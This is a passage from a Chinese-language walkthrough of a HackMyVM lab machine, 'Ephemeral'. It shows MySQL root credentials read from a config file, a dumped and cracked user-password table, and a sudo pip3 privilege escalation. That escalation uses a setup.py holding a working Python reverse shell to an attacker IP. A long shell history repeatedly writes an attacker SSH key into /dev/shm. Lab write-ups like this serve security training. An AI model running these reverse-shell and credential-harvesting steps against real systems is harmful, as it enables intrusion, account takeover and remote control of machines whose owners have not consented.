&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@ephemeral:/etc/cron.d$ find / -name &amp;quot;*.cnf&amp;quot; -o -name &amp;quot;*.ini&amp;quot; 2&amp;gt;/dev/null | grep -i mysql
/usr/share/doc/mysql-server-8.0/examples/daemon_example.ini
/etc/mysql/my.cnf
/etc/mysql/.my.cnf
/etc/mysql/debian.cnf
/etc/mysql/mysql.cnf
/etc/mysql/mysql.conf.d/mysqld.cnf
/etc/mysql/mysql.conf.d/mysql.cnf
/etc/mysql/conf.d/mysqldump.cnf
/etc/mysql/conf.d/mysql.cnf
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;mysql凭据&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@ephemeral:/etc/cron.d$ cat /etc/mysql/.my.cnf
[client]
user=root
password=RanDydBPa$$w0rd0987
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试mysql提权失败了&lt;/p&gt;
&lt;p&gt;翻找数据库&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mysql&amp;gt; show databases;

+--------------------+
| Database           |
+--------------------+
| ephemeral_users    |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql&amp;gt; use ephemeral_users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql&amp;gt; show tables;
+---------------------------+
| Tables_in_ephemeral_users |
+---------------------------+
| ephemeral_users           |
+---------------------------+
1 row in set (0.00 sec)

mysql&amp;gt; select * from ephemeral_users;
+--------+------------------------------------------+
| user   | password                                 |
+--------+------------------------------------------+
| kevin  | a7f30291fe998b2f188678090b40d8307ffdeddd |
| donald | 603ebcdd05c78c0a635b7b0846ef8ad5758b6d7c |
| jane   | 84f66bc55f616fe45b4d996896e4c9e4121264ef |
| randy  | d1b10494107b459a80df1e1d5b9b62bd0b24a1ce |
+--------+------------------------------------------+
4 rows in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码破解&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;kevin           jameskevingilmerjr
donald          24donaldson
jane            !pass_word
randy           !password!23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试登录&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@ephemeral:/etc/cron.d$ su kevin
Password: 
kevin@ephemeral:/etc/cron.d$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到凭据kevin\jameskevingilmerjr&lt;/p&gt;
&lt;h2&gt;提权-donald&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;kevin@ephemeral:/$ sudo -l
[sudo] password for kevin: 
Matching Defaults entries for kevin on ephemeral:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kevin may run the following commands on
        ephemeral:
    (donald) PASSWD: /usr/bin/pip3 install *
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;1. 创建包目录&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cd /tmp
mkdir rev_shell
cd rev_shell
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;2. 创建setup.py&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cat &amp;gt; setup.py &amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
import os, socket, subprocess, pty

lhost = &amp;quot;192.168.0.106&amp;quot;
lport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, int(lport)))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn(&amp;quot;/bin/bash&amp;quot;)
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;3. 执行安装&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo -u donald pip3 install .
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;4. 攻击机监听&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) donald@ephemeral:/home/donald$ ls
commands  Desktop  mypass.txt  note.txt
(remote) donald@ephemeral:/home/donald$ cat mypass.txt 
FjqSy9KKWgSdc65usJ7yoPNIokz
(remote) donald@ephemeral:/home/donald$ cat note.txt 
Hey Donald this is your system administrator. I left your new password in your home directory. 
Just remember to decode it.

Let me know if you need your password changed again.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;https://www.dcode.fr/
https://www.dcode.fr/identification-chiffrement

分析出位base62
在经过base62解码后为nORMAniAntIcINacKLAi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Ephemeral-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;提权-jane&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) donald@ephemeral:/home/donald/commands$ history
 1010  ls -la 
 1011  rm -r id_rsa.pub\* 
 1012  clear
 1013  ls -la 
 1014  cd ..
 1015  ls -a l
 1016  rm -r keys/
 1017  clear
 1018  ls -al 
 1019  ls -la 
 1020  cd ..
 1021  cd shm/
 1022  ls -la 
 1023  su jane
 1024  clear
 1025  ls -]al 
 1026  clear
 1027  ls -la 
 1028  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm* &amp;gt; /dev/null; done
 1029  clear
 1030  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1031  clear
 1032  ls -la 
 1033  rm -r id_rsa.pub 
 1034  clear
 1035  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1036  ls -al 
 1037  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1038  cd /dev/shm/
 1039  ls -al 
 1040  cd keys/
 1041  ls 
 1042  touch file.txt
 1043  cd ..
 1044  cd /tmp/
 1045  cd t
 1046  cd test/
 1047  touch file.txt
 1048  cd ..
 1049  touch file.txt
 1050  rm -r 
 1051  rm -r file.txt 
 1052  cd t
 1053  cd test/
 1054  ls -al 
 1055  touch file.txt
 1056  cd /dev/shm/
 1057  ls -la 
 1058  cd keys/
 1059  ls 
 1060  cd..
 1061  clear
 1062  ls -al 
 1063  cd ..
 1064  ls -la 
 1065  rm -r keys/
 1066  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1067  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1068  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub &amp;gt; /dev/null; done
 1069  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1070  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1071  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1072  ls -la 
 1073  cd keys/
 1074  ls -la 
 1075  cat id_rsa.pub\* 
 1076  clear
 1077  ls a- l
 1078  clear
 1079  ls -la 
 1080  cat id_rsa.pub\* 
 1081  cd..
 1082  cd ..
 1083  clear
 1084  ls -la 
 1085  cd l
 1086  cd keys/
 1087  ls -la 
 1088  rm -r id_rsa.pub\* 
 1089  clear
 1090  ls -la 
 1091  cd ..
 1092  ls -a l
 1093  rm -r keys/
 1094  clear
 1095  ls -al 
 1096  ls -la 
 1097  cd ..
 1098  cd shm/
 1099  ls -la 
 1100  su jane
 1101  clear
 1102  ls -]al 
 1103  clear
 1104  ls -la 
 1105  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm* &amp;gt; /dev/null; done
 1106  clear
 1107  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1108  clear
 1109  ls -la 
 1110  rm -r id_rsa.pub 
 1111  clear
 1112  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1113  ls -al 
 1114  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1115  cd /dev/shm/
 1116  ls -al 
 1117  cd keys/
 1118  ls 
 1119  touch file.txt
 1120  cd ..
 1121  cd /tmp/
 1122  cd t
 1123  cd test/
 1124  touch file.txt
 1125  cd ..
 1126  touch file.txt
 1127  rm -r 
 1128  rm -r file.txt 
 1129  cd t
 1130  cd test/
 1131  ls -al 
 1132  touch file.txt
 1133  cd /dev/shm/
 1134  ls -la 
 1135  cd keys/
 1136  ls 
 1137  cd..
 1138  clear
 1139  ls -al 
 1140  cd ..
 1141  ls -la 
 1142  rm -r keys/
 1143  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1144  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1145  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub &amp;gt; /dev/null; done
 1146  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1147  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
